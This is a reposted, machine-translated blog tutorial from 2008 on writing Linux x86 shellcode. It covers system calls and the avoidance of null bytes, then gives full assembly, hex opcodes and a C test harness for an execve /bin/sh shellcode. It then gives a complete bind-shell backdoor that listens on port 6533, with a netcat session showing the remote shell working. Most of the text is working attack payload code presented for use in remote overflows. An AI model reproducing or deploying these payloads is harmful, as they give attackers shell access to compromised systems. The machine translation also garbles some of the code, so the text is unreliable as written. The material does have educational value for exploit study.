Hedgehog @ http://blog.csdn.net/littlehedgehog
I have no intention of seeing it in the security focus. I am very familiar with this article. It is good:
Original article address:
Http://www.xfocus.net/articles/200805/980.html
I. What is shellcode?
In other words, a patriotic hacker compiled an nday overflow program to attack CNN one day. After Entering the IP address and entering it, the hacker found that the target server did not respond, so he took out the sniffer packet capture analysis... "Oh, my dog! There is no shellcode !" Why is shellcode so important to an exploit? What is shellcode?
To put it simply, shellcode is a binary code that can complete a specific function. The specific task is determined by the attacker. It may be to start a new shell, download a specific program, or return a shell to the attacker.
Shellcode will directly operate on registers and some system calls. Therefore, to write shellcode, you can write a program in advanced languages, compile the program, and decompile the code to obtain the hexadecimal operating code, of course, you can also directly write the Assembly and extract the hexadecimal operating code from the binary file.
Let's take a look at the secrets of shellcode ~
Ii. Linux system calls
Why do we need to know about system calls when writing shellcode? Because system calls are a bridge between user and kernel states. Most operating systems provide core functions that many applications can access. shellcode also needs to call these core functions. The core functions provided by Linux can be conveniently used to access files, execute commands, and communicate over networks. These functions are called by the system ).
If you want to know which system calls are available on the system, you can directly view the kernel code. Linux system calls are defined in the following file:/usr/include/asm-i386/unistd. h, which contains the definition of each available system call in the system, the content is roughly as follows:
# Ifndef _ asm_i1__unistd_h _
# Define _ asm_i1__unistd_h _
/*
* This file contains the system call numbers.
*/
# Define _ NR_restart_syscall 0
# Define _ NR_exit 1
# Define _ NR_fork 2
# Define _ NR_read 3
# Define _ NR_write 4
# Define _ NR_open 5
# Define _ NR_close 6
# Define _ NR_waitpid 7
# Define _ NR_creat 8
# Define _ NR_link 9
# Define _ NR_unlink 10
# Define _ NR_execve 11
# Define _ NR_chdir 12
# Define _ NR_time 13
# Define _ NR_mknod 14
# Define _ NR_chmod 15
.
.
.
.
Each system call is composed of a name and a corresponding system call number. This file is not listed one by one because it is very long. Now that you know what a linux System Call looks like, let's take a look at how to use these system calls. To start a system call, you must use the int command. The linux system call is at 0x80. When an int 0x80 command is executed, a soft interrupt is triggered, which forces the kernel to stop the current operation to handle the interrupt. The kernel first checks the correctness of the input parameters, then copies the values of the following registers to the memory space of the kernel, and then handles the interruptions by referring to the Interrupt Descriptor Table (IDT. After the system calls the int command, continue to execute the next command.
The system call number is a key number used to determine a system call. Before executing the int command, it should be passed into the EAX register, after determining a system call number, you need to consider the parameters passed to the system call to complete what kind of function. Five registers are used to store parameters, including EBX, ECX, EDX, ESI, and EDI. These five registers are used to store incoming system call parameters in sequence. System calls that require more than six input parameters use different methods to pass the parameters to system calls. The EBX register is used to protect pointers to the memory locations of input parameters. input parameters are stored in a continuous order. The system calls this pointer to access the memory location to read parameters.
To better illustrate the entire process of using a system call, let's look at an example. In this example, the write System Call is called to write hello and syscall to the terminal, finally, the system calls exit to exit safely.
The Code is as follows:
. Section. data
Output:
. Ascii "hello, syscall !!!! /N"
Output_end:
. Equ len, output_end-output
. Section. text
. Globl _ start
_ Start:
Movl $4, % eax # define _ NR_write 4
Movl $1, % ebx
Movl $ output, % ecx
Movl $ len, % edx
Int $0x80
Movl $1, % eax
Movl $0, % ebx
Int $0x80
Compile the program and view the running result:
Pr0cess @ pr0cess :~ $ As-o syscall. o syscall. s
Pr0cess @ pr0cess :~ $ Ld-o syscall. o
Pr0cess @ pr0cess :~ $./Syscall
Hello, syscall !!!!
We can see that hello and syscall are written to the terminal. How can this process be implemented? First, the program defines a string hello, syscall !!!! And the length of the string len, then write the write System Call number into the eax register, and then the first parameter called by the write system needs a file descriptor fd, linux contains three file descriptors: 0 [STDIN]: standard input of the terminal device; 1 [STDOUT]: standard output of the terminal device; 2 [STDERR]: Standard Error output of the terminal device. Here we set the fd value to 1, that is, input to the screen, so the operand 1 is assigned to the EBX register. The second parameter called by the write System is the pointer to the string to be written. Here we need a memory address, so we use movl $ output, % ecx stores the actual memory address pointed to by output in the ECX register. The third parameter called by the write System is the length of the Written string. According to the parameter transmission method in sequence, we pass len to the edx register, then execute the int $0x80 Soft Interrupt to execute the write System Call. The next step is to execute an exit (0) operation, pass exit system call number 1 to the eax register, pass parameter 0 to the EBX register, and then execute int $0x80 to execute the system call, exit the program.
To clearly verify that our system call is indeed executed, you can use strace to view the running status of binary code. The result is as follows:
Pr0cess @ pr0cess :~ $ Strace./syscall
Execve ("./syscall", ["./syscall"], [/* 34 vars */]) = 0
Write (1, "hello, syscall !!!! /N ", 18 hello, syscall !!!!
) = 18
_ Exit (0)
Through the returned results, we can clearly see which system calls were executed by the syscall program and what parameters were passed in each system call.
We have understood the implementation process of the system call. Let's proceed with shellcode.
Iii. First shellcode
When the term "shellcode" first came, it was a wonderful thing to get a new shell, next we will implement how to get a new shell to complete the compilation of our first shellcode. Note that the/x00 or NULL character cannot appear in the shellcode. If the character is NULL, The shellcode will be truncated, as a result, it is indeed a headache that cannot complete its functions. So what are the solutions? Let's first extract the hexadecimal machine code in the previous example syscall to see if the/x00 truncation occurs:
Pr0cess @ pr0cess :~ $ Objdump-d./syscall
./Syscall: file format elf32-i386
Disassembly of section. text:
08048074 <_ start>:
8048074: b8 04 00 00 00 mov $0x4, % eax
8048079: bb 01 00 00 00 mov $0x1, % ebx
804807e: b9 98 90 04 08 mov $0x8049098, % ecx
8048083: ba 12 00 00 00 mov $0x12, % edx
8048088: cd 80 int $0x80
804808a: b8 01 00 00 00 mov $0x1, % eax
804808f: bb 00 00 00 mov $0x0, % ebx
8048094: cd 80 int $0x80
Pr0cess @ pr0cess :~ $
Oh !!! The SB Program
8048074: b8 04 00 00 00 mov $0x4, % eax
It has been truncated by 00, and cannot be used for shellcode at all. It can only be run as a general assembler. Let's analyze why this happens. The two codes are as follows:
Movl $4, % eax
Movl $1, % ebx
These two commands use 32-bit (4-byte) registers EAX and EBX, while we assign only one byte to the Register respectively, therefore, the system will use the NULL character (00) to fill the remaining byte space, resulting in shellcode being truncated. After knowing the cause, we can find a good solution. An EAX register is 32-bit, and a 32-bit register can also be referenced by a 16-bit or 8-bit name, we use the AX register to access the first 16-bit region (low 16-bit) and continue to use it by referencing the low 8-bit EAX register of AL, AH uses the 8-bit high after AL.
The EAX Register consists of the following:
EAX register
31 15 7 0
AH
AL
AX
In the syscall example, the $4 and $1 operands only occupy 8 digits. Therefore, you only need to assign these two operands to AL, this avoids the use of EAX registers, and the system uses NULL to fill other spaces.
Let's modify the code.
Movl $4, % eax
Movl $1, % ebx
Change
Mov $4, % al
Mov $1, % bl
Re-compile the syscall program and check the objdump result:
Pr0cess @ pr0cess :~ $./Syscall
Hello, syscall !!!!
Pr0cess @ pr0cess :~ $ Objdump-D./syscall
./Syscall: File Format elf32-i386
Disassembly of section. Text:
08048074 <_ Start>:
8048074: B0 04 mov $0x4, % Al
8048076: B3 01 mov $0x1, % BL
8048078: B9 90 04 08 mov $0x8049090, % ECx
804807d: BA 12 00 00 00 mov $0x12, % edX
8048082: CD 80 int $0x80
8048084: B8 01 00 00 00 mov $0x1, % eax
8048089: BB 00 00 00 mov $0x0, % EBX
804808e: CD 80 int $0x80
Pr0cess @ pr0cess :~ $
As you can see, we have successfully removed the null character. Similarly, we can rewrite the following statements to run this program as shellcode.
Next we will write the first practical shellcode, which will open a new shell. Of course, this is meaningless locally, but when it is used as a remote overflow to open the shell on the target machine, it cannot be underestimated. To open a new shell, we need to use the execve system call. Let's take a look at how this function is defined in the man manual:
Name
Execve-Execute Program
Synopsis
# Include <unistd. h>
Int execve (const char * filename, char * const argv [],
Char * const envp []);
We can see that the execve system calls require three parameters. To illustrate how to use it, first write a simple C program to call the execve function:
# Include <stdio. h>
Int main ()
{
Char * SC [2];
SC [0] = "/bin/sh ";
SC [1] = NULL;
Execve (SC [0], SC, null );
}
Execve A/bin/sh command to get a new shell. The compilation result is as follows:
Pr0cess @ pr0cess :~ $ Gcc-O newshell. c
Pr0cess @ pr0cess :~ $./Newshell
$ Exit
Pr0cess @ pr0cess :~ $
The new shell has been successfully created !!
To compile execve shellcode, we use Assembly to implement the functions of the above C program. The Code is as follows:
. Section. text
. Globl _ start
_ Start:
Xorl % eax, % eax
Pushl % eax
Pushl $ 0x68732f6e
Pushl $ 0x69622f2f
Movl % esp, % ebx
Pushl % eax
Pushl % ebx
Movl % esp, % ecx
Movb $ 0xb, % al
Int $0x80
To avoid the 00 caused by mov assignment, use an exclusive or operation to clear the EAX register.
Xorl % eax, % eax
Then press the 4-byte NULL Stack
Pushl % eax
Press/bin // sh on the stack to maintain alignment. The first parameter
Pushl $ 0x68732f6e
Pushl $ 0x69622f2f
Store/bin // sh in The EBX register with 2nd parameters.
Movl % ESP, % EBX
4-byte pressure null, 3rd parameters, environment variable is null
Pushl % eax
Apply EBX to the stack
Pushl % EBX
Store the EBX address in the ECX register
Movl % ESP, % ECx
Press execve system call number 11 (0xb) into the Al register and delete 00
Movb $ 0xb, % Al
Call the int command to enter the interrupt
Int $0x80
OK. Now let's test whether this program can bring us a new shell.
Pr0cess @ pr0cess :~ $ As-O exec. O exec. s
Pr0cess @ pr0cess :~ $ LD-O exec. o
Pr0cess @ pr0cess :~ $./Exec
$ Exit
Pr0cess @ pr0cess :~ $
Hoho ~~ Executed successfully !! Then extract the hexadecimal machine code.
Pr0cess @ pr0cess :~ $ Objdump-D./exec
./Exec: File Format elf32-i386
Disassembly of section. text:
08048054 <_ start>:
8048054: 31 c0 xor % eax, % eax
8048056: 50 push % eax
8048057: 68 6e 2f 73 68 push $ 0x68732f6e
804805c: 68 2f 62 69 push $ 0x69622f2f
8048061: 89 e3 mov % esp, % ebx
8048063: 50 push % eax
8048064: 53 push % ebx
8048065: 89 e1 mov % esp, % ecx
8048067: b0 0b mov $ 0xb, % al
8048069: cd 80 int $0x80
Pr0cess @ pr0cess :~ $
Put it in a C program to complete the shellcode compilation and testing.
/*
* Linux/x86 execve ("/bin // sh/", ["/bin // sh"], NULL) shellcode 23 bytes
* Xuanmumu@gmail.com
*/
Pr0cess @ pr0cess :~ $ Objdump-d exec
Exec: file format elf32-i386
Disassembly of section. text:
08048054 <_ start>:
8048054: 31 c0 xor % eax, % eax
8048056: 50 push % eax
8048057: 68 6e 2f 73 68 push $ 0x68732f6e
804805c: 68 2f 62 69 push $ 0x69622f2f
8048061: 89 e3 mov % esp, % ebx
8048063: 50 push % eax
8048064: 53 push % ebx
8048065: 89 e1 mov % esp, % ecx
8048067: b0 0b mov $ 0xb, % al
8048069: cd 80 int $0x80
Pr0cess @ pr0cess :~ $
Char SC [] =
"/X31/xc0"
"/X50"
"/X68/x6e/x2f/x73/x68"
"/X68/x2f/x2f/x62/x69"
"/X89/xe3"
"/X50"
"/X53"
"/X89/xe1"
"/Xb0/x0b"
"/Xcd/x80"
;
Int main ()
{
Void (* fp) (void) = (void (*) (void) SC;
Printf ("Length: % d/n", strlen (SC ));
Fp ();
}
Pr0cess @ pr0cess :~ $ Gcc-o execve. c
Pr0cess @ pr0cess :~ $./Execve
Length: 23
$ Exit
Pr0cess @ pr0cess :~ $
Successful! We have compiled the shellcode For the first linux system and can work smoothly. Take a break. The next section will introduce the shellcode ~~ of a more cool bindshell function ~~
4. shellcode of the bound Port
According to the previous section, opening a new shell locally is not so useful in the face of remote targets. In this case, we need to open an interactive shell on the remote target, this is more helpful to us. It is equivalent to directly obtaining a backdoor that enters the remote system. This is the port binding shellcode.
I need some network programming knowledge here. I will not explain in detail how to program the network here, but I just want to explain the compilation process of the bindshell backdoor program:
First, create a socket
Server = socket (2, 1, 0)
Create a sockaddr_in structure that contains IP and port information
Attach the port and IP address to the socket
BIND ()
Enable port listening for this socket
Listen ()
Returns a handle to the client when a connection exists.
Accept ()
Copy the returned handle to stdin, stdout, and stderr.
Dup2 ()
Execve/bin/sh
After reading these processes, I may be confused. Next I will give some of my bindshell. c Backdoor programs, you can clearly see how a bindshell is implemented: http://www.bugshower.org/xbind.c
Through the analysis of the backdoor C program bound to a port, we have learned the entire implementation process. To facilitate shellcode extraction, we need to use assembly to rewrite this program. Here a new system call will be used, which is the socketcall system call. The system call number is 102. Let's take a look at man's system call parameters:
Name
Socketcall-Socket System CILS
Synopsis
Int socketcall (INT call, unsigned long * ARGs );
The system calls two parameters. The first parameter is an integer and is stored in the EBX register. For a bindshell, we only need to use four values:
Sys_socket 1
Sys_bind 2
Sys_listen 4
Sys_accept 5
The second parameter is a pointer pointing to a parameter array and storing it in the ECX register.
Now all the preparations are ready. Start to compile a bindshell backdoor with compilation ~ The code and comments are as follows:
# Xuanmumu@gmail.com & process@cnbct.org
# Bindshell. s -- bindport on 6533
. Section. Text
. Global _ start
_ Start:
# Clearing registers
XOR % eax, % eax
XOR % EBX, % EBX
XOR % ECx, % ECx
# Socket (, 0) to create a TCP connection. Note the byte order.
Push % eax # Press 3rd parameters 0
Push $0x1 # Push 2nd parameters 1
Push $0x2 # Push 1st parameters 2
MoV % ESP, % ECx # Use the array address in ECx as the 2nd parameter called by the socketcall System
INC % BL # BL = 0 + 1. As the first parameter of socketcall, the socket function is called.
Movb $0x66, % Al # Call socketcall, 0x66 = 102
Int $0x80 # interrupt
MoV % eax, % ESI saves the return handle in ESI
# BIND ()
Push % edX # edX press the stack as the end Operator
Push $0x8519FF02 #0x8519 = 6533, sin. family = 02, FF arbitrary byte Filling
Mov % esp, % ecx # assign the ESP address to ECX
Push $0x10 # Start bind parameter, 0x10 pressure Stack
Push % ecx # Save address
Push % esi # apply the previous handle to the stack
Mov % esp, % ecx # continue to use the array address as the 2nd parameter called by socketcall
Inc % bl # bl = 1 + 1 = 2 = SYS_BIND
Mov $0x66, % al # Call socketcall
Int $0x80 # interrupt
# Listen ()
Push % edx # EDX press the stack as the end Operator
Push % esi # handle pressure stack, as the listen Parameter
Mov % esp, % ecx # Set the array address to the 2nd parameters of socketcall
Mov $0x4, % bl # bl = 4 = SYS_LISTEN
Mov $0x66, % al # execute the socketcall system call
Int $0x80 # interrupt
# Accept ()
Push % edx # parameter 0
Push % edx # parameter 0
Push % esi # handle pressure Stack
Mov % esp, % ecx # Set the array to 2nd parameters called by the System
Inc % bl # bl = 4 + 1 = SYS_ACCEPT
Mov $0x66, % al # execute system call
Int $0x80 # interrupt
# Dup2 ()
MoV % eax, % EBX # copy the handle returned by accept to EBX
XOR % ECx, % ECx # Clear
MoV $ 0x3f, % Al # dup2 System Call, 0x3f = 63
Int $0x80 # interrupt
INC % ECx #1
MoV $ 0x3f, % Al
Int $0x80
INC % ECx #2
MoV $ 0x3f, % Al
Int $0x80
# Familiar execve call, open a new shell
Push % edX
Push $ 0x68732f2f
Push $ 0x6e69622f
MoV % ESP, % EBX
Push % edX
Push % EBX
MoV % ESP, % ECx
MoV $ 0xb, % Al
Int $0x80
Oh... now I can take a rest and finally complete the compilation of this disgusting program. Let's test whether it works normally ~
Pr0cess @ pr0cess :~ $ As-O bindshell. O bindshell. s
Pr0cess @ pr0cess :~ $ Ld-o bindshell. o
Pr0cess @ pr0cess :~ $./Bindshell
Start a new terminal to connect. If the connection succeeds, we should be able to get a shell on port 6533 ~
Pr0cess @ pr0cess :~ $ Netstat-an | grep "6533"
Tcp 0 0 0.0.0.0: 6533 0.0.0.0: * LISTEN
Pr0cess @ pr0cess :~ $ Nc 192.168.12.211 6533
Uname-
Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
Exit
Pr0cess @ pr0cess :~ $
Aha ~ The wonderful shell appears, and the program completes its work smoothly. It can die. Let's extract shellcode:
Pr0cess @ pr0cess :~ $ Objdump-d./bindshell
./Bindshell: file format elf32-i386
Disassembly of section. text:
08048054 <_ start>:
8048054: 31 c0 xor % eax, % eax
8048056: 31 db xor % ebx, % ebx
8048058: 31 c9 xor % ecx, % ecx
804805a: 50 push % eax
804805b: 6a 01 push $0x1
804805d: 6a 02 push $0x2
804805f: 89 e1 mov % esp, % ecx
8048061: fe c3 inc % bl
8048063: b0 66 mov $0x66, % al
8048065: cd 80 int $0x80
8048067: 89 c6 mov % eax, % esi
8048069: 52 push % edx
804806a: 68 02 ff 19 85 push $0x8519ff02
804806f: 89 e1 mov % esp, % ecx
8048071: 6a 10 push $0x10
8048073: 51 push % ecx
8048074: 56 push % esi
8048075: 89 e1 mov % esp, % ecx
8048077: fe c3 inc % bl
8048079: b0 66 mov $0x66, % al
804807b: cd 80 int $0x80
804807d: 52 push % edx
804807e: 56 push % esi
804807f: 89 e1 mov % esp, % ecx
8048081: b3 04 mov $0x4, % bl
8048083: b0 66 mov $0x66, % al
8048085: cd 80 int $0x80
8048087: 52 push % edx
8048088: 52 push % edx
8048089: 56 push % esi
804808a: 89 e1 mov % esp, % ecx
804808c: fe c3 inc % bl
804808e: b0 66 mov $0x66, % al
8048090: cd 80 int $0x80
8048092: 89 c3 mov % eax, % ebx
8048094: 31 c9 xor % ecx, % ecx
8048096: b0 3f mov $ 0x3f, % al
8048098: cd 80 int $0x80
804809a: 41 inc % ecx
804809b: b0 3f mov $ 0x3f, % al
804809d: cd 80 int $0x80
804809f: 41 inc % ecx
80480a0: b0 3f mov $ 0x3f, % al
80480a2: cd 80 int $0x80
80480a4: 52 push % edx
80480a5: 68 2f 73 68 push $ 0x68732f2f
80480aa: 68 2f 62 69 6e push $ 0x6e69622f
80480af: 89 e3 mov % esp, % ebx
80480b1: 52 push % edx
80480b2: 53 push % ebx
80480b3: 89 e1 mov % esp, % ecx
80480b5: b0 0b mov $ 0xb, % al
80480b7: cd 80 int $0x80
Pr0cess @ pr0cess :~ $
After checking that the machine code does not contain 00, you can use it as shellcode with peace of mind. The specific extraction process has been introduced before, and the corresponding C program template is also provided, which will not be repeated here.
V. Summary
There is no advanced technology in this article, and there are no gorgeous skills. I briefly introduced the basic compilation process of linuxshellcode, and successfully completed the goal of science popularization.
Have a fun ~
/*-------------------------------------
Author: torwood [xuanmumu@gmail.com]
Date: 2008/05/12
Website: www.bugshower.org
--------------------------------------*/